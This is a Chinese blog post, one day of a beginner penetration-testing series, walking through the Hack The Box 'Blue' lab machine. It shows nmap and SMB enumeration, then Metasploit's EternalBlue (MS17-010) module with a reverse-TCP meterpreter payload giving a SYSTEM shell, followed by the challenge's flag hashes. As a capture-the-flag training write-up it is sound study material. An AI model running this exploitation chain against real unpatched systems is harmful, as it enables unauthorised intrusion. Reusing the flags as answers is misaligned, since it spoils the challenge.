iT邦幫忙

2024 iThome 鐵人賽

DAY 27
0
自我挑戰組

從零開始:資安滲透初探系列 第 27

23: 資安滲透初探: HTB靶機入門: Blue

  • 分享至 

  • xImage
  •  

今天來打個經典的"EternalBlue"
這個就是2017造成大規模WannaCry中毒事件漏洞.


https://app.hackthebox.com/machines/Blue/information
靶機介紹:
Blue 雖然可能是 Hack The Box 上最簡單的機器,但它展示了 EternalBlue 漏洞的嚴重性。該漏洞自公開洩露以來,已被用於多次大規模的勒索病毒和加密貨幣挖掘攻擊中。

Task 1: How many open TCP ports are listening on Blue? Don't include any 5-digit ports.

```bash
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sV 10.10.10.40    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 02:30 EDT
Nmap scan report for 10.10.10.40
Host is up (0.42s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.61 seconds
```

Task 2: What is the hostname of Blue?

image.png

Task 3: What operating system is running on the target machine? Give a two-word answer with a name and high-level version.

image.png

- ChatGPT:
    
    根據 Nmap 的掃描結果,該靶機運行的操作系統被檢測為 `Microsoft Windows 7 - 10`。這表示 Nmap 無法精確區分這兩個版本,因為這些版本之間在某些方面可能具有相似的網絡特徵(例如開放端口和服務)。
    
    在這種情況下,考慮到目標機器的漏洞性質和典型的實際情境,`Windows 7` 是更可能的答案,尤其是在滲透測試的背景下。以下是一些原因:
    
    1. **EternalBlue 漏洞的關聯性**:
        - EternalBlue(MS17-010)是一個著名的 Windows 漏洞,主要影響 Windows 7 和 Windows Server 2008 等操作系統。儘管 Windows 10 早期版本也受此漏洞影響,但 Windows 7 是更常見的目標。
    2. **漏洞利用的背景**:
        - 在這個特定的挑戰中,`Windows 7` 更符合該題目的背景,因為許多滲透測試場景更傾向於使用容易受 EternalBlue 漏洞影響的系統。
    3. **Write-up 中的明確說明**:
        - 根據你提供的 `Blue.pdf` write-up 中提到,目標系統被識別為 `Windows 7 Professional SP1`。這進一步確認了 Windows 7 是該靶機的操作系統。
    
    因此,`Windows 7` 被認為是更可能的正確答案,而不是 `Windows 10`。在實際操作中,尤其是當 Nmap 給出不確定的結果時,這種推理過程可以幫助你選擇最合適的答案。
    
    如果你有更多問題或需要進一步澄清,請隨時告訴我!
    
    如果你不知道這個漏洞是與 `EternalBlue` 有關,那麼你確實可能需要在 `Windows 7` 和 `Windows 10` 之間進行猜測。這是因為 Nmap 的掃描結果無法精確地區分這兩個操作系統。
    
    在這種情況下,你可以考慮以下因素來幫助你做出更明智的猜測:
    
    ### 1. **靶機的年齡和漏洞的普遍性**:
    
    - 通常在滲透測試平台上,較舊的操作系統(如 Windows 7)更有可能被用來作為靶機,因為它們包含更多已知的漏洞。
    - Windows 7 是一個非常普遍的操作系統,並且包含許多在滲透測試中經常被利用的漏洞。
    
     ### 2. **服務的版本和類型**:
    
    - 仔細檢查 Nmap 掃描結果中提到的服務和協議版本。有時服務的版本會提供更多有關操作系統的線索。
    - 例如,如果你發現某些特定的服務通常與較舊的操作系統相關,那麼這可以幫助你更好地確定操作系統版本。
    
    ### 3. **進一步的信息收集**:
    
    - 如果有可能,你可以嘗試使用其他工具或方法進行進一步的信息收集。例如,使用 Metasploit 的 `auxiliary/scanner/smb/smb_version` 模組來嘗試獲取更多關於操作系統的信息:
        
        ```bash
        msfconsole
        use auxiliary/scanner/smb/smb_version
        set RHOSTS 10.10.10.40
        run
        
        ```
        
    - 這個模組有時會提供更精確的操作系統版本信息。
    
    ### 4. **猜測和驗證**:
    
    - 在你收集了所有可能的信息之後,如果仍然無法確定,則可能需要在 `Windows 7` 和 `Windows 10` 之間做出猜測。
    - 在這種情況下,基於上述因素,通常會首先猜測 `Windows 7`,因為它是更常見的滲透測試目標。
    
    ### 總結:
    
    - 在沒有進一步確定的情況下,猜測操作系統版本有時是必要的。
    - 儘量收集更多的背景信息來幫助你做出更準確的猜測。
    - 如果所有其他方法都無效,那麼基於通常的滲透測試經驗,`Windows 7` 可能是更好的猜測。
    
    如果你有其他問題或需要進一步的幫助,隨時告訴我!
    

Task 4: How many SMB shares are available on Blue?

```bash
┌──(kali㉿kali)-[~]
└─$ smbclient -L //10.10.10.40 -N

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Share           Disk      
        Users           Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.40 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

- `smbclient -L //10.10.10.40 -N`
    - `L` 用於列出靶機上的所有共享資源。
    - `//10.10.10.40` 是靶機的 IP 地址。
    - `N` 表示不提供密碼(這通常適用於匿名訪問)。

Task 5: What 2017 Microsoft Security Bulletin number describes a remote code execution vulnerability in SMB?

```bash
┌──(kali㉿kali)-[~]
└─$ nmap --script vuln 10.10.10.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 02:50 EDT
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 10.10.10.40
Host is up (0.50s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown

Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
|_smb-vuln-ms10-054: false

Nmap done: 1 IP address (1 host up) scanned in 204.95 seconds
```

Task 6: Optional question: A worm was set loose on the internet in May 2017 propagating primarily through MS17-010. What is the famous name for that malware?

要回答這個問題,你需要了解一下與 `MS17-010` 漏洞相關的歷史事件。`MS17-010` 是一個非常知名的漏洞,該漏洞被用於 2017 年的一個大規模網絡攻擊事件中。以下是找到答案的詳細過程:

1. 了解 MS17-010 漏洞

- `MS17-010` 是一個 Windows SMB 協議中的嚴重漏洞,它被 `EternalBlue` 利用來進行遠程代碼執行。這個漏洞影響了 Windows 7、Windows Server 2008、以及一些 Windows 10 版本。

2. 了解 2017 年的網絡攻擊事件

- 2017 年 5 月,`WannaCry` 蠕蟲利用了 `MS17-010` 漏洞進行了大規模的網絡攻擊。這次攻擊影響了全球數十萬台計算機,導致許多組織的業務中斷。
- `WannaCry` 是一種勒索軟件,它加密了受感染系統上的文件,並要求受害者支付比特幣贖金以解鎖文件。

3. 得出答案

- 根據這些信息,2017 年 5 月利用 `MS17-010` 漏洞進行的著名蠕蟲攻擊的名稱是:
    
    ```
    WannaCry
    ```
    

Task 7: What user do you get execution with when exploiting MS17-010? Include the full name, including anything before a .

- 已知漏洞為`MS17-010` ,進入`msfconsole`來進行操作
    - 先搜尋可以使用的module
    
    ```bash
    msf6 > search ms17_010
    
    Matching Modules
    ================
    
       #   Name                                           Disclosure Date  Rank     Check  Description
       -   ----                                           ---------------  ----     -----  -----------
       0   exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
    ```
    
    - 使用,設置並啟動
        
        ```bash
        msf6 > use exploit/windows/smb/ms17_010_eternalblue
        [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
        msf6 exploit(windows/smb/ms17_010_eternalblue) > show option
        [-] Invalid parameter "option", use "show -h" for more information
        msf6 exploit(windows/smb/ms17_010_eternalblue) > show options 
        
        Module options (exploit/windows/smb/ms17_010_eternalblue):
        
           Name           Current Setting  Required  Description
           ----           ---------------  --------  -----------
           RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.
                                                     html
           RPORT          445              yes       The target port (TCP)
           SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Wind
                                                     ows 7, Windows Embedded Standard 7 target machines.
           SMBPass                         no        (Optional) The password for the specified username
           SMBUser                         no        (Optional) The username to authenticate as
           VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows
                                                     7, Windows Embedded Standard 7 target machines.
           VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows
                                                      Embedded Standard 7 target machines.
        
        Payload options (windows/x64/meterpreter/reverse_tcp):
        
           Name      Current Setting  Required  Description
           ----      ---------------  --------  -----------
           EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
           LHOST     192.168.242.130  yes       The listen address (an interface may be specified)
           LPORT     4444             yes       The listen port
        
        Exploit target:
        
           Id  Name
           --  ----
           0   Automatic Target
        
        View the full module info with the info, or info -d command.
        
        msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40
        RHOSTS => 10.10.10.40
        msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.16.2
        LHOST => 10.10.16.2
        msf6 exploit(windows/smb/ms17_010_eternalblue) > run
        ```
        
    - 使用`gutuid`查看當前 `meterpreter` 會話的用戶身份,通常用來確認權限級別。
        
        ```bash
        meterpreter > getuid
        Server username: NT AUTHORITY\SYSTEM
        ```
        

Task 8: Submit the flag located on the haris user's desktop.

- 進入shell
    
    ```bash
    meterpreter > shell
    Process 1780 created.
    Channel 2 created.
    Microsoft Windows [Version 6.1.7601]
    Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
    
    C:\Windows\system32>
    ```
    
- 到指定位置找flag
    
    ```bash
    C:\Users\haris\Desktop>dir
    dir
     Volume in drive C has no label.
     Volume Serial Number is BE92-053B
    
     Directory of C:\Users\haris\Desktop
    
    24/12/2017  03:23    <DIR>          .
    24/12/2017  03:23    <DIR>          ..
    25/08/2024  07:30                34 user.txt
                   1 File(s)             34 bytes
                   2 Dir(s)   2,694,922,240 bytes free
    
    C:\Users\haris\Desktop>type user.txt
    type user.txt
    e0d9fd0bcd14bea883c010ad6fd984b5
    ```
    

Task 9: Submit the flag located on the administrator's desktop.

- 到指定位置找flag
    
    ```bash
    C:\Users\Administrator\Desktop>dir
    dir
     Volume in drive C has no label.
     Volume Serial Number is BE92-053B
    
     Directory of C:\Users\Administrator\Desktop
    
    24/12/2017  03:22    <DIR>          .
    24/12/2017  03:22    <DIR>          ..
    25/08/2024  07:30                34 root.txt
                   1 File(s)             34 bytes
                   2 Dir(s)   2,694,922,240 bytes free
    
    C:\Users\Administrator\Desktop>type root.txt
    type root.txt
    8bd2fb5d4206bb5b7ea48b6ddd78d19c
    ```

上一篇
22: 資安滲透初探: HTB靶機入門: Jerry
系列文
從零開始:資安滲透初探27
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言